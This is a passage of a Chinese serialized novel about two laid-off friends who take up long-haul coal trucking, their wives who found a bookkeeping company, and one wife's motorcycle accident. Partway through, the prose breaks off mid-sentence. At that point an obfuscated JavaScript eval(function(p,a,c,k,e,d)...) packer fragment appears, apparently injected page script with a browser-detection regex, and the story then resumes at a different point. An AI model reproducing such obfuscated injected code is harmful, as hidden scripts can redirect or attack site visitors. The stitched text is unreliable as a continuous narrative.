厚成说：“哦，你不说我们不知道，这学问还真不少啊！” 洪波笑着说：“我为啥让你们跟着我走一趟，你们刚上路，不能吃亏啊！”说着他们各上自己车。 传亮开得车很慢，洪涛跟在后面，上了公路传亮开始加速，洪涛跟在后面始终保持一定的距离。到了服务区，他们吃过饭，躺在大铺上休息等时间……进来几个司机，厚成听到声音醒了，看看表已经是半夜11点多了，洪波也醒了。 厚成说：“11点多了！” 洪波说：“我们可以走了！”他们叫醒了传亮和洪涛，去车场提车出发了。洪波开车在前，厚成开车在后，洪涛坐在副驾驶看着，一路上遇到几个路检，他们都顺利通过。上午8点多，他们到了卸货点，接货的老板验了煤，付给了厚成和洪波这趟活的煤款和运费。 厚成接过钱交给洪涛笑着说：“这是我们的第一桶金呢！”洪涛接过钱装在包里，两个人都开心地笑了。 老板安排装卸工开始卸煤，他们几个到门卫休息，胡老板和另外一个人进来，胡老板对洪波介绍说：“这是我表哥白国斌，我表哥是开砖厂的老板，他们砖厂马上要开工了，需要备煤，他看给我送煤质量挺好的，你们下趟给他们送两车，要保证这个质量哦，价格给我送的一样。” 洪波说：“胡老板放心，什么都不能差，我们下趟给白老板送煤！”白老板把卸货地址电话给了洪波。 车辆不能空车返回，还要配货拉回来。洪波用门卫的电话联系了哈市几个配货站，有一个配货站老板说：“现在有个日杂货物需要配货。”洪波问好了价钱，卸货地点。 洪波对配货站老板说：“我们现在是两辆车，还有一台车要配货！” 配货站老板说：“让等一会儿听电话！” 一会儿电话铃响起，洪波接配货站老板电话，还有一车装洁具，装车地点、卸车地点都说清楚了。 洪波都记在本子上了，洪波说：“杨老板，我们现在去装车，信息费下次去了给你！” 电话里杨老板说：”没事的，都是老朋友，祝你们顺利！” 洪波说：“谢谢杨老板！” 洪波告诉厚成：“卸完煤你们车去上次的建材市场装洁具货！你们在收费站走外环直接到建材市场。”告诉了装货地址，联系人。洪波车去装日杂货，完后车分头往回返。卸车时再联系去煤矿装车的事情。 他们一路同行到了收费站分手。洪涛他们到建材市场找到了装货地点，找到了联系人，装卸工开始装车，洪涛问装卸工：“装卸需要多长时间？” 装卸工回答：“大概3个多小时。” 厚成、洪涛他们去吃饭、休息。他们来到上次来过的饭店，服务员认识他们问：“那两位大哥呢？” 洪涛说：“他们去日杂装货。给我们做冻豆腐炖白菜，再来土豆片炒尖椒，来2碗米饭！” 他们俩洗漱、吃完饭休息了3个小时后，厚成拿着货单检查好车辆，他们收到洪波的信息说他们的货也装好了，到方正的服务区汇合。 两辆车先后到了方正服务区，他们了加油，洪波又检查一遍车，车一切正常，洪波说：“我们继续赶路，到最后一个服务区休息，争取七点后到达卸完车，然后我们去装煤你俩身体行不行？” 厚成回答：“没问题！” 他们又开始出发，中间又加了一次油，他们互换开车到了最后一个服务区是凌晨4点多了，他们在服务区休息一会儿，上路进城各自去卸货点。 厚成他们先卸完货，检查车后，他们去煤矿装煤。洪涛用商店的电话给洪波发出了信息。 到了煤矿付煤员说：“你们回来的挺快的！” 洪涛说：“卸货，配货都挺顺利，这次给砖厂货主送煤！” 付煤员说：“你们是好运气，第一次出车能接到新货主！” 厚成说：“这都是借洪波的光，洪波有信誉！” 付煤员说：“洪波在这行里真是有名的厚道人，煤矿货主都愿意和他合作，这几年他挣到了钱……人啥时候都要厚道、实在，才有饭吃！”说着联系铲车装煤。 厚成的车装了一半时，传亮过来了，厚成问：“洪波呢？” 传亮说车有个配件要换，他去买配件，一会儿打车过来。他们装完车，洪波付了两车煤款。 洪涛用矿里的电话给他们家邻居小卖店打了电话，让告诉凤珍他们出车顺利，这趟不回家了，已经装好车了，还去呼兰送煤，不用惦记…… 两台车连夜出发，第二天十点多到了呼兰。洪波把车停在路边，找个公用电话联系砖厂，砖厂派人骑摩托车带路，引导他们到了砖厂。白老板，还有烧砖的师傅过来看煤后说：“这煤和表弟卸得煤是一样的，然后付了两车煤款和运费款，厂里的工人开始卸煤。 白老板说：“你们去厂里食堂吃饭！”老板叫年轻人说：“二柱，你送他们去跟我二姐说，给他们做点吃的!” 四个人去了食堂，食堂的二姐给他们煮了面条说：“面条自己盛，要吃饱！” 洪波说：“谢谢二姐！”几个人已经饿了，都大口大口地吃了起来。吃完饭传亮、厚成他们把餐具都端到厨房。二姐又把他们送到宿舍休息，屋子里有一铺大炕，二姐说：“这是工人倒班休息的的地方。”她伸手摸摸炕说：“还热乎呢！” 传亮说：“谢谢二姐！你回去忙吧！”他们把二姐送出去，二姐嘱咐他们说：“抓紧时间睡觉，卸完车还得返回！” 他们几个脱下衣服卷着当枕头，一会儿呼噜声响起…… 工人卸完煤，二柱子来叫他们，厚成上车提车停在院子里，四个人检查车，洪涛看到有几处螺丝松动，便拿了扳手紧螺丝。 白老板走过来，洪波迎过去。白老板问：“休息好了吧！” 洪波说：“吃饱了，也睡好啦，谢谢白老板！” 白老板说：“以后来这儿不用客气，自己去食堂，二姐会给你们做饭。我准备再备六车煤，你们给我送。另外装煤的时候，每车能装点块煤，这样我不用买块煤来引火，也能省点钱！” 洪波说：“好，装煤时，我跟铲车司机说一下！”“白老板没别的事，我们走啦！再见！” 洪波已经联系几个货站，没有合适的货主。洪波说：“我们去哈城配货站等活！”他们把车开到上次配货站，杨老板说：“你们好快呀！” 洪波说：“上趟活顺利。”从包里拿出一百元递给了杨老板说：“这是上次的配货信息费！”洪涛递给杨老板一百元钱。 杨老板笑着说：“不急。” 他们几个人找地方坐下，杨老板接了几个电话，都是司机要配货的。洪波对杨老板说：“我们去吃饭，有货主给我们打传呼！” 杨老板说：“好，你们去吧！” 四个人去货站外边的小吃店吃饭。洪波说：“宋哥，我俩去别的货站看看有没有活，你们在这等着！” 洪波、厚成走了三家货站没有合适的活。这时，洪波传呼想起来，洪波看后说，杨老板有一车活，你回去叫我二哥你们车先走，我还去联系一下货站。“ 厚成说：“你先走吧，我们等活！” 洪波摆摆手说：“不，你快去找我二哥，你们先走！” 厚成说：“那好吧！”这车货要到建材市场装地板砖，拉到煤城附近的勃利县卸车。杨老板把货主的电话、地址、写在纸条上，厚成他们轻车熟路去了建材市场，很快开始装车。 厚成估算装车大约用三个多小时，厚成对洪涛说：“你坐车去市里商场，给孩子们买点东西。小凯一直想要一个滑板，咱们家商场没有，你给小凯、小刚一人买一个滑板，给小丹买个球，他们几个都能玩，再给凤珍和王玲买双皮鞋，凤珍穿37号码鞋，王玲你知道吧？咱们第一次出车挣钱，让他们高兴，高兴！” 洪涛说：“好！”从兜里拿出四百元钱说：“哥，挎兜放在车上了！”洪涛上商场走了。 厚成从兜里拿出本子和笔，把洪波给的货主的联系电话、装卸货地址都详细地记录了下来，然后躺在铺上休息一会。 车快装完了，洪涛也回来了，把买来的的东西放在车上，然后掏出传呼机看到洪波他们去装涵洞的水泥管子，到煤城土建队卸车。让洪涛他们卸车后去矿里装煤，在煤矿汇合。 装卸工已经把车装好，货主拿来货单交给了厚成说：“你们可以出发了！” 洪涛驾车，厚成上铺休息，他们上了高速，一路加了两次油，早上八点多到了卸货地点。商场的老板找来了装卸工，卸货验货，验收后付了运费。他们往回走到离配货站不远的地方厚成说：“洪涛一会到配货站，你下车骑摩托车回家，把给他们买的东西送回去休息一会，我打传呼你再打车到富强矿找我！”把换下已经脏的衣服装好让洪涛带回去，洪涛把装钱的小挎包拿过来说：“把车上的钱拿回去一些交给嫂子！”洪涛数五千元，“这些是嫂子给的本钱，车上的钱够一车煤款和出车的各种费用。” 货站到了，洪涛下了车。厚成开车去了煤矿，这次铲车装车时，厚成和铲车司机说尽量多装点块煤。铲车司机装车时用铲斗从煤堆下边的往上慢点收，装了一些煤块。厚成车已经装好封车了，厚成把车挪到院子里等洪涛。 洪涛到了货站和许大姐说了几句话，骑上摩托直奔家去。到了凤珍家门口洪涛停下了摩托车，提着大包、小包，敲门进了屋子里。凤珍接过东西，给洪涛倒了杯水高兴地说：“这么快回来了！” 洪涛说：“我哥去煤矿装煤去了，怕你们不放心，让我回家向你汇报情况！” 凤珍说：“小卖店来传话了，我们放心，我去热饭！” 洪涛说：“有现成饭菜就行！” 凤珍忙着去热饭说:“我把饭菜放到锅里，我去叫王玲，让她过来！” 不一会，王玲和凤珍一起回来了，她俩把饭菜端上桌，凤珍又炒了几个鸡蛋，洪涛边吃饭边和她们说这两趟出车的过程，说得很详细，她俩认真听着，时不时的插几句嘴。 洪涛吃完饭，口头也汇报完了。 凤珍看着王玲高兴地说：“真是太好啦！” 王玲也满意地说：“我们首战告捷，但愿今后顺顺利利！”三个人都很激动。 洪涛从怀里掏出来的钱放到凤珍面前说：“嫂子，这是五千元钱，是你给我们的带的本钱，你点点收起来。现在车上的钱够周转的！” 凤珍、王玲对视一下说：“挣到这么多钱啊！”边说边点钱。 洪涛等凤珍点完钱说：“先不记账，本子放在车上，等我们俩回来时再报账。” 凤珍说：“好的！” 洪涛指了指大包说：“打开吧，这是给你们俩买的东西！” 凤珍有点责怪地说：“怎么还买东西给我们，不是说好了嘛挣钱还债！” 洪涛解释地说：“我哥说我俩第一次出车挣钱这么顺利，一定要给老婆和孩子买点东西……” 王玲已经打开了包，这是两双皮鞋。洪涛说：”你们俩的各自找鞋号穿试试！” 凤珍拿走一双小点的，看了一下37码说：“这是我的！”凤珍穿上，走了走，点点头说：“很适合、挺秀气的！” 王玲穿上38码的也说：“正好，我喜欢这样式的，谢谢大哥、谢谢老公！” 凤珍去解开另一个大包看到里面是两个滑板，洪涛说：“滑板是给小凯和小刚买的，球是给小丹买的！” 凤珍惊喜地说：”这两个滑板买的好，小凯要了几次了，这回他们可高兴啦！” 王玲说：“我们努力，一定让咱们的孩子过幸福的生活！” 王玲拿上鞋和滑板，洪涛把摩托车推到仓房里说：“我一会打车去煤矿和我哥哥汇合，不骑摩托车了！” 厚成的车已经装完封好了，洪波的货车也回来了，洪波把车停到了煤堆边上，下车和铲车司机打个招呼说：“师傅，装点块煤！”刚张口说铲车司机做一个Ok 的手势。 厚成问：“传亮回家啦？” 洪波说：“回家换衣服。” 厚成说：“洪涛也回家了，我现在给他打传呼告诉他到富强公路口等我！” 很快洪波车也装完了，洪波、厚成各自付了煤款，厚成开车在前，洪波开车在后，两辆车开出了煤矿到富强道口，在等洪涛上车。五分钟后洪涛打车来了说：“哥你休息，我开车！”说着递给厚成一个塑料兜说：“饭盒里边有饺子，嫂子给你包的！” 厚成真有点饿了，打开饭盒拿了一个饺子吃了，“是韭菜馅的饺子好吃！” 洪涛给厚成学了到家后的经过，厚成听了美滋滋的。 洪波发来信息，他们到服务区加油后，今晚不休息了，到哈城服务区再加1次油，我们明早7点多到砖厂，这样不耽误配货。 他们快到哈城服务区了，前方停了一溜车。厚成下车问一问，有个司机从前面打听情况刚回来说：“前方有交通肇事，是有个货车司机开车睡着了，把车开对向车道撞到了一台轿车，轿车司机和副驾驶座的人当场死亡，大货车司机腰和腿部受了重伤……” 洪波说：“干我们这行太危险了！这一趟返回来，我们在家休息一个晚上，把车也检修一遍再出车！” 厚成说：“你们都休息，路通了再叫你们！” 洪涛在上铺躺下，很快地睡着了。厚成看着被堵在路上的长长的一趟车，心里忐忑不安。这时已经凌晨5点1分，厚成看着前面的车辆开始移动了，他下车拍拍洪波的车门，传亮伸头问：“路开了？”厚成点点头，回到了车上，发动车跟在车流后面慢慢的移动，这时洪涛已经睡得很沉。 翠日将近中午12点，他们到了砖厂。白厂长看到他们到了，安排工人卸车，问洪波：“今天怎么这么晚才到?” 洪波回答说：“配货耽误时间了。”并没有说公路肇事的情况。白厂长看着乌亮的煤说：“这次煤块还真多哦！” 洪波说：“下次还是这样装车！” 白厂长说：“你们去食堂吃饭，他们四个人来到了食堂，食堂的二姐正在收拾工人吃完的餐具说：“你们去洗洗，我给你们拿饭菜！” 因为工人刚吃完午饭，二姐把剩下没吃的饭菜给他们端上说：“你们先吃着，我再给你们炒个干豆腐！” 厚成回答说：“够吃了，别做了！” 二姐回厨房，一会儿端了一盘尖椒炒干豆腐，四个人饿了，一会把桌上的饭菜吃光了。他们收拾餐具端送到厨房。 二姐问：“吃饱了吗？” 洪波说：“吃撑着了！”几个人哈哈大笑。 厚成说：“二姐，我们去休息了！” 四个人躺下，一会儿呼噜声响起。洪波睡一会儿，悄悄的起来到了门卫室联系配货，因为已经是下午了，还没有货主配货。洪波给涵管老板打个电话说：“大哥，我们车返回可不可以装涵管?” 老板问：“你们几台车？” 洪波说：“两台车！” 老板说：“我去现场看看，回头联系你！” 这时卸车的工人告诉洪波车已经卸完了，洪波让卸车工人去叫厚成、传亮来挪车，他在这里等电话。 一会儿电话铃响起，洪波忙接过电话，老板说：“我这里有两辆车货，你们过来装车吧！” 洪波高兴的连连说：“好的！谢谢！谢谢！” 白老板过来给洪波付了两车煤款和运费。洪波点了一半钱给厚成说：“我们去哈城，你们跟着我，我们装涵管！” 四个人分头上车，一路疾驰到了装车地点。装车的小吊车司机已经在等他们，两台车须装3个多小时，这个时间他们检查车，洪涛看有个轮胎跑气已经瘪了一半了，厚成他俩把备胎换上。洪波的车已经跑了四年多了，他们更小心检查得很仔细，换了几个件，他们车上备着常用的备件。厚成看到心里很佩服，也学习了经验。这时已经是晚上6点多了，洪波开车在前面，厚成开车跟着，他们慢慢的开出厂，上了高速…… 两辆车到服务区加油，洪波问：”你们饿不饿？” 大家都表示不饿。 洪波说：“我们到下一个服务区吃饭！” 他们又一直赶路，又到了一个服务区已经是晚上9点了，他们加完油，在服务区吃完饭，洪波说：“我们继续走，争取明天早上7点到煤城土建处卸货！” 洪波、传亮一个车，厚成、洪涛一个车，互换开车，两辆车跑了一夜，次日7点到了卸车地点。 洪波说：“卸车后我们回家，下午4点装煤！”看着洪涛和厚成关心地问：“两个哥哥，你们身体行不行？” 厚成回答：“没事！” 洪涛也说：“没事，我俩准时去装煤！” 厚成和洪涛上午10点多回到家，洪涛背着挎包，厚成提着从车上拿下来的东西，到了家门口，厚成拍了拍大门，凤珍听到后高兴地快步走出来迎接：“你们回来啦！”接过厚成的包，三个人进了屋。凤珍给他们倒了洗手水，又给他们倒了喝的开水。 凤珍看着厚成没有刮胡的脸瘦了，心里很心痛。 洪涛掏出了小本子，拿起笔记账说：“嫂子，我们已经转了4个四圈了，今天得报账了啦！” 凤珍说：“我去叫王玲，让她来做饭，我们算账！” 王玲来了，洗手淘米，开始做饭。 凤珍给王玲拿了几样菜说：“你看着做吧，我一会儿算完账，和你一起做！” 洪涛已经把账记完了，凤珍接着把费用归类，加油，过道费，伙食费等系列算好后，现在应该剩六千八百九十五元钱。洪涛点点现钱一点也不差，自满地说：“看我管的钱一点都不差！” 凤珍说：“所以选你管钱嘛！” 厚成说：“今天8号了，我们转了四圈，活干得不错……” 凤珍说：“现在养路费、运管费都挣了回来了，接着的收入我们还债还是有信心的，只是你们太辛苦啦！” 厚成说：“现在活好，我俩借洪波的光，辛苦能挣到钱也高兴！”洪涛说：”我俩能吃苦，身体没问题！”说了伸出拳头，几个人， 哈哈笑了。 王玲说：“我做好饭啦！” 凤珍把算账的票据收收了起来，端上饭菜，几个人吃了起来，边吃饭厚成和洪涛给他们讲路上和服务区砖场的事，几个人不时地响起了笑声。关于路上交通肇事和堵车的事，他们一字没提。 凤珍和王玲说几个孩子的表现，自从爸爸出车走后，小凯和小丹两个孩子从煤栏子用桶抬煤，然后把煤灰两个人抬送到垃圾场，凤珍不让他们干，怎么也拦不住两个孩子。还去王玲家里和小刚三个孩子一起干这些活…… 洪涛说：“没想到孩子们这么懂事，让他们干嘛，劳动对孩子成长是件好事！” 几个人吃完饭，王玲、洪涛回家休息，约好三点来和厚成去煤矿装煤。凤珍对厚成叮嘱：“你比洪涛大几岁，你要把握好你们俩的身体，累了要休息，一定不能疲劳驾驶！吃饭时别省着老吃青菜，也要吃肉，因为不是干一趟、两趟活就不干了，今后这是你们的职业，所以来日方长，有好的身体才能适应这么累的工作……” 凤珍让厚成休息，她去厨房炒了油茶面，炒了黄瓜肉丝的咸菜，装好兜里。又给厚成备了上洗好的衣服。看着厚成睡熟的样子，轻轻地给他盖了被子，摸摸厚成的手，露出心痛的目光…… 厚成睡醒了，看看表已经是两点多了，穿起了衣服到院子，煤栏仓房各地都看了看，凤珍听到声音说：“时间还早，你再躺一会，起来干什么？” 厚成说：“睡好了！家里有什么活，我收拾收拾！” 凤珍说：“没有活，你进屋吧！” 厚成和凤珍回屋聊了家常话，一会儿，王玲和洪涛提着东西，站在大门口喊：“厚成哥，我们走吧！” 厚成拿着东西出了屋，凤珍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洪涛下岗，洪波支持哥哥买车，带着哥哥出车，这系列的操作没有和传亮细致说明白，传亮心里不平衡，觉得洪涛侵犯了他的利益。他嘴上没有说出来，行动上只要涉及到洪涛厚成车的事，他要慢一拍，走个形式而已，并不是尽心尽力。洪波是何等聪明的人，传亮对哥哥和厚成的态度，他早已心知肚明，但是他看破、不说破。有一天车回煤城洪波回家换衣服，跟媳妇说了传亮对洪涛、厚成从买车和他们一同出车，传亮有想法，出车消极，和从前不一样。 洪波媳妇叫传凤，她听后说：“传亮有这个想法不对，洪涛哥下岗了，你是他亲弟弟，怎么能袖手旁观呢？我们只要能帮，一定伸手拉一把。当年传亮跟你一起跑长途货运是你一手教他的；买车的钱，我们拿三分之二，传亮拿三分之一，车挣到钱，咱们分给他一半利润……这样吧，下趟车回来，你让传亮回家休息，我去他家，让他给你带东西，传亮有想法会和我说，我给他摆道理，这些事交给我，你不要参与了。洪波听媳妇传凤聊着的一席话，心里踏实了，一会儿睡着了。 下一次车回煤城传亮回家换衣服，传风以给洪波送衣服为名去了弟弟家，传亮和媳妇看到姐姐来家里高兴的又是让座，又是倒茶，几个人聊着车上的话题。 传亮和姐姐说：“洪涛哥买车后一直和我们车在一起跑帮车，我们车揽的活挣得钱分给洪涛哥哥一半，长期这样会影响我们的利润。如果洪涛哥的车是他们自己的，也没什么，可是他们两家合伙买的，这是便宜了宋厚成了吗？” 传凤看着弟弟、弟媳笑着说：“小弟你有这个想法也正常，你觉得洪涛哥和你们一起出车，因为他是你姐夫的哥哥，应该帮着他。可是宋厚成是洪涛哥的老朋友，老邻居，他们在一起工作十年的工友，感情深厚，他们下岗自谋生路，选择长途运输这一行大车跑长途必须是两个人，他俩是最好的搭档，两家买车各尽其力；买车担保、首付车款都是宋厚成承担的多，不能斤斤计较，要相互付出。小弟，你不要因为宋厚成一个人影响你的情绪，特别是你跑长途，这思想如果有负担，对行车安全不好！” 传亮听了姐姐一番话羞愧地低下头说：“姐姐是我错了！” 弟媳媳妇接着说：“知道错了，心里就没有隔阂。洪涛哥他们刚出车没经验。平时多帮助他们点儿。 厚成和洪波两台车，第二天八点多到了砖厂。卸车后，白老板带了一个人介绍说：“这是另一个砖厂老板姓于，是他的亲属，也要备煤，想用你们车送煤，煤价格不变，但是路程比他的砖场远五50多公里，每趟给加200百元运费。” 洪波问：“需要几车煤？” 于老板说：“需要10车。” 洪波说：“每车运费加150元油钱吧！” 于老板高兴的说：“好，谢谢兄弟不是钱，多少是你给大哥的面子，这个我心领了！” 于老板说：“你们顺着这条道往前走，看到砖厂进院，我每天七点到砖厂。” 洪波说：“好，后天上午我们能到。” 他们订好后，洪波就开始联系货站，这次货站的活不太好，利润低。洪波说：“少挣点我们也装吧，因为有于老板送煤的活来回算，还是可以的。” 厚成说：“行，等别的活，耽误时间也是一回事。” 他们意见一致了，去装货了。厚成他们因为送砖厂的10车煤，他们连续半个月没有回家，中间厚成往邻居家小卖店打了一次电话，向凤珍、王玲报了平安！ 砖厂的10车煤送完结账时，于老板说，我们这有个粮食烘干厂的老板是我的朋友，他原来备的煤质量不好，粮食烘干需要好煤，他前几天从我这拉了两吨煤，说你送的煤质量好，想让你给送几车，他们的烘干厂在你们进城往南走，顺着公路看到大烟囱就是他的烘干厂，因为今天有事过不来，让我跟你们订下！” 洪波说：“于大哥，你说好使，我们下趟给他送去！” 于老板说：“煤价不变，因为我俩的路基本差不多远。” 洪波说：“没事，多点少点都是朋友。” 于老板写了电话，老板的名字叫曲志宏，地址交给了洪波。 洪波联系配货，这次配的货很顺利，两台车装电机，一台车装20台，运价也好，他们很快返回，天亮八点卸完车。洪波他们去修理厂保养车，厚成他们是新车，不需要修车。厚成说：“我们回家，今天是星期天，孩子们一直要看看车，也想他们了！” 洪波说：“好的，嫂子们也想你们了！”说着，两个人笑起来，约好晚上4点钟装车。 厚成和洪涛把车停在离家不远处的道旁，提着东西回到家门口，三个孩子在院子里玩，看到他们回来了，都扑到自己爸爸的怀里喊着：“爸爸！爸爸！小凯说：“爸爸，你再不回来，我们要去找你了！” 小丹说：“爸爸，我做梦都想你啦！还不敢跟妈妈说，怕妈着急！” 小刚拉着爸爸手说：“妈妈也在这儿！” 他们边说边往屋走，凤珍、王玲听到声音都站了起来迎接他们。王玲笑着说：“回来了，正好孩子们都在家！” 厚成看到桌子上都是账本、单据问：“这是在干什么？” 凤珍给他们倒水问：“吃早饭了吗？” 厚成说：“没吃！” 洪涛说：“嫂子，给我们做点白菜酱汤面条吧！这路上总吃米饭，想吃面条！” 凤珍说：“好的！”说着去厨房了。 王玲收拾桌子上的账本、票据说：“宋哥，洪涛，这是我和嫂子给煤矿公司代理的记账，我们现在有7家企业了，每家每月给我们五百元钱，我俩已经有事做了，厚成看看洪涛，洪涛睁大眼睛惊奇地说：“你们俩可真行啊！这么快就有业务了！” 王玲说：“我们现在还要去注册个记账公司，慢慢来……”这时凤珍煮好了面条端了上来，又拿了咸菜、大酱，腐乳，发芽葱。 凤珍说：“你们边吃边听着，我俩给你们汇报一下，前面王玲已经说了。我们去税务局业务科的顾科长告诉我们，国家税制改革，今后注册的企业都要报表，你们都是财务人员，又有经验开记账公司最好。要有规模。今后税务局查账，企业送票据记账方便……今天你们回来了，我们商量注册记账公司的事情！” 厚成和洪涛对视了一下说：“我们不懂你们的业务，你们有什么想法先说说！” 凤珍说：“注册公司需要有办公场所，需要租房子，我俩也议论，租房地点要在市里租个商铺，交通方便，因为企业要到公司送票据，税务局要检查账目……” 洪涛说：“我们支持你们做这个事，你们自己去找适合的办公地点，可孩子们上学会不会受到影响？” 凤珍说：“这和我们上班时一样，你们不用操心了，我俩会安排好的。我们俩租好房子上下班骑摩托车，王玲能带着我，我这几天也学学骑摩托车，学会了工作也方便。” 厚成说：“你们俩既然都想好了，那去干吧，我们同意！” 洪涛说，“你们大胆干吧，你们的事说定了！” 洪涛向凤珍报账…… 厚成说：“带着孩子们上车看看！” 王玲说：“孩子们都盼望车回来，要坐新车呢！” 厚成带孩子们去看车了。 洪涛拿出本子，因为这次车趟多，他们算了很长时间，去掉各种费用，剩下一万三千元。洪涛拿出现金点点对上了。凤珍给他们留下五千元出车，其余的装在小包里。 厚成带三个孩子回来了，孩子们又蹦、又跳，高兴的不得了， 厚成还给他们买了零食。 凤珍说对孩子们说：“你们去院子里玩吧，让你爸爸休息！” 洪涛说：“我们回家休息，我3点钟来！” 小刚没走和小凯他们一起玩了，凤珍给厚成端上一盆热水：“给你烫烫脚！我给你准备需要的东西。” 厚成说：“你给我拿点干辣椒，开车困了咬一口就精神了！” 凤珍说：“好，我再给你炒点咸菜。” 厚成说：“熬夜没胃口，多亏吃点咸菜，还能下点饭。这次多放点辣椒。” 厚成、洪涛逐渐的适应了长途运输，一个月下来剩近二万元，去了还贷款，还去了两家的生活费，所有剩余全部连本带利还借个人的钱。厚成长出了一口气，他们心里有底了……厚成现在车况新，不修车，不耽误干活，现在要保养好将来省钱。洪波他们的车况现在旧了，利润低了很多，因为修理费很高。厚成、洪涛非常爱护车，一有时间马上检查车，因为有洪波免费的老师，厚成他们少交了很多学费哦！ 10. 第十章 厚成、洪涛出车后，凤珍、王玲两个人到市区考察租记账公司办公室，王玲骑着摩托车带着凤珍走了两天时间，最后定下来一个交通便利的商铺，面积140平米，一楼，价格合理，交了订金，两天后她们和房主签了租房合同，交了一年租金。两个人马不停蹄地办理记账公司注册各种手续资料，提交到工商局之后，要等7个工作日才能批下来。这个期间两个人张罗粉刷办公室，买办公桌椅，安装电话等等，两个人忙得不亦乐乎！ 凤珍已经学会了骑摩托车，方便了很多，两个人可以分头办理业务。营业执照发下来了，《宏博代理记账公司》好响亮的名字，法定代表人：于凤珍。万事俱备，开业典礼订在“五一劳动节”这天，在记账公司门前的场地上。这一天，风和日丽，太阳闪耀着万丈光芒，无私地照耀着大地；门前的绿化带，翠色盈盈，生机勃勃。凤珍、王玲穿上了工厂发的浅灰色的套装。凤珍盘上了发髻，王玲昨日剪了短头，化了淡妆，两个人看上去又美丽又端庄，散发着职业女性的魅力！ 厚成、洪涛、洪波、传亮计划好早晨卸完货回家换好衣服参加庆典，下午装车不耽误活。两位老爸、老妈由凤珍的老弟、厚成的老弟陪同前来祝贺。凤珍的弟弟，妹妹，夫妻双双；厚成的弟弟，妹妹，夫妻双双都到场。洪涛、王玲的两位老爸、老妈、弟弟，妹妹也都来了。凤珍、厚成的要好同学万红英，李树林也前来祝贺。洗煤厂四个老同事也到场。10点钟典礼开始，凤珍宣布了《宏博代理记账公司》开业！这时，四挂一万响的鞭炮齐鸣，响彻云霄……税务局业务科的顾科长致词，给予他们鼓励和努力方向……万红英代表来宾致词，她的讲话充满了真挚的感情和期望……凤珍、王玲流下了激动的泪水。厚成、洪涛使劲地鼓掌，掌声响起了一片，久久不息。 庆典结束，凤珍带所有来宾到预订的酒店共进午餐。所有人送的红包，凤珍他们一个也没有收，只收下洗煤厂财务科老同事送的花篮和字画匾。 凤珍感到，有了亲朋好友的支持，这是他们下岗后最大的底气！凤珍、王玲，厚成、洪涛在酒店门口欢送来宾，他们的手握的紧紧的…… 翠日，凤珍和王玲商量，王玲每天在公司接待用户处理账务，凤珍骑摩托车到厂、矿联系业务。凤珍到美术社做了10盒名片，委托发放广告的营销员在市里繁华地段向过路人发放。 这一天，凤珍骑着摩托车去煤矿联系业务，煤城的地势是低山丘陵，道路上岭下坡，特别是煤矿大都是散落在距离公路20公里以外的地方，煤矿通往公路的路面是岩石铺的路坑洼不平。 凤珍骑着摩托车来到前进煤矿联系业务，矿长不在，工作人员告诉了她矿长的手机号码，凤珍没有联系上矿长，只好返回。这时是上午9点多，当她骑着摩托车跑出近一半的路程时，天空布满了乌云，大雨来临，凤珍摩托车加速行驶，想要抢在雨前头，这时风夹着瓢泼的大雨下了起来，像鞭子抽打的凤珍睁不开眼睛，摩托车撞到岩石上，瞬间被抛到路边，凤珍失去了知觉……雨继续下着，过了一会儿凤珍醒了过来。这时雨已经小了，凤珍是左侧着地，她看左手掌擦掉了一块皮，鲜血淋淋，左胳膊小臂擦掉一块皮，往外渗血。手表落在地上，她拣起来表链已经摔断了，表蒙子已经炸了看不到表针是走还是不走。她用衣袖擦了一下脸的雨水，感觉左侧脸上有伤钻心的疼痛。她试图站起来，左腿没有了知觉，她活动一下，感觉右腿有力。凤珍流下了眼泪，知道自己的左腿受了重伤，此时此刻她疼痛难忍，想起了厚成，自言自语地说：”俺哥，我受伤了，我起不来啦！怎么办呀！俺哥……在空旷的大地上，只有倒在一边的摩托车给她作伴，她呻吟着只能等待过路人来救她…… 一个多小时之后，凤珍看到远处过来一辆客货车，客货车上的司机也发现了倒在地上的凤珍和摩托车，知道发生了事故。客货车快速地到凤珍前面停下，司机是一个20多岁的年轻人，另外一位40多岁的男人，他们下车跑到凤珍身边问：“哪里受伤了？”凤珍指着左腿说：”这只腿不能动啦！” 客货车是前进煤矿的车，他们拉些煤矿用得材料回来。年龄大的男人问：“现在送你去医院！” 凤珍有气无力地说：“好好，谢谢！” 年轻司机问：”去哪家医院？” 矿务局总院骨科是最好的，因为煤矿工作经常出现碰胳碰腿，骨科专家多，凤珍说：“去矿务局总院吧！” 两人慢慢的把凤珍抬到客货车驾驶室后排座上，又把摩托车抬到车箱里，车掉头向城里方向驶去。 矸石铺垫的路被拉煤的重车碾压的坑洼不平，有的石头尖朝上立着，司机着急开得车速有些快，“哎呀！哎呀！颠簸的凤珍脸色苍白，豆大的汗珠往下滚，疼痛很厉害。 那位年长说：“小陈，慢点开！病人疼的受不啦！”司机车小陈减速慢慢行驶。 年长的问于凤珍：“你是哪个单位的？” 凤珍回答：“是《宏博记账公司》！刚才呀，去你们矿联系业务，回来的路上啊赶上风雨，摩托车撞路边石头摔倒啦……” “师傅您贵姓？”凤珍问年长的男人。 年长的回答：“我姓洪。开车的年轻司机姓陈。” “哦，叫您洪师傅吧！谢谢小陈师傅你们的相救！”凤珍从挎包里摸出名片给洪师傅说：“到医院后打这个电话找王玲，告诉她我在医院啊！她会马上到医院。还让她通知我弟弟玉林啊！” 客货车上了平坦的公路，小陈师傅加快了速度、直奔矿务局总医院驶去。 大约一个小时客货车到了医院，洪师傅跑到医院急诊室拉出医院急救担架车，和小陈师傅把凤珍抬到担架车上，进了急诊室。 医生问凤珍：“都哪儿受伤了？” 凤珍地指着左腿、左胳膊及脸部受伤的部位说：“左腿不能动弹了！” 医生检查凤珍的伤情，看着左腿膝盖下的部位异常，摸了一下，啊！啊——凤珍疼的大叫了起来。 医生对洪师傅说：“马上拍片检查一下是否骨折！”医生写了拍片单子，凤珍从挎包里掏出钱交给了洪师傅。小陈师傅去办理交费，洪师傅和一名护士用担架车推着凤珍去拍Χ光片。 拍片子的过程中，洪师傅用医院的公用电话打通了王玲电话，王玲吃惊地问：“伤势重不重？凤珍咋搞的呀？！” 